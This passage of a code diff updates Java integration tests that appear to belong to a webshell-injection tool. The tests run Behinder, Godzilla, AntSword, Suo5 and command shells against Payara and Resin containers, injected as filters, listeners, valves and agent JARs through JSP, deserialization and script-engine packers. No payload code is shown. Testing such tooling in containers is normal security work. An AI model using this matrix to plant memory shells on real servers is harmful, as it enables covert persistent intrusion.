arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+35
-16
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,47 +36,66 @@ public class Payara5201ContainerTest {
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine)
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -89,6 +108,6 @@ public class Payara5201ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+31
-15
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,35 +36,51 @@ public class Payara520225ContainerTest {
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize)
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -77,6 +93,6 @@ public class Payara520225ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+22
-15
@@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,35 +35,43 @@ public class Payara620222ContainerTest {
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize)
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -77,6 +84,6 @@ public class Payara620222ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
}
|
||||
|
||||
+19
-12
@@ -44,29 +44,36 @@ public class Resin3116ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+19
-12
@@ -44,29 +44,36 @@ public class Resin318ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
